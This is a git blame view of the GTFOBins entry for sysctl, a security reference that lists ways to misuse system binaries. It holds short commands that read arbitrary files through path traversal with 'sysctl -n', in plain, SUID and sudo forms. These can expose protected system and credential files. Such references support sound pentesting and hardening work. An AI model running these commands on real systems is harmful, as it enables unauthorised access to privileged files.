GTFOBins.github.io/_gtfobins/sysctl.md

17 lines
461 B
Markdown
Raw Normal View History

2020-06-11 16:10:35 +00:00
---
2020-06-11 16:18:36 +00:00
description: The `-p` argument can also be used in place of `-n`. In both cases though the output might get corrupted, so this might not be suitable to read binary files.
2020-06-11 16:10:35 +00:00
functions:
file-read:
- code: |
LFILE=file_to_read
2020-06-11 16:18:36 +00:00
/usr/sbin/sysctl -n "/../../$LFILE"
2020-06-11 16:10:35 +00:00
suid:
- code: |
LFILE=file_to_read
2020-06-11 16:18:36 +00:00
./sysctl -n "/../../$LFILE"
2020-06-11 16:10:35 +00:00
sudo:
- code: |
LFILE=file_to_read
2020-06-11 16:18:36 +00:00
sudo sysctl -n "/../../$LFILE"
2020-06-11 16:10:35 +00:00
---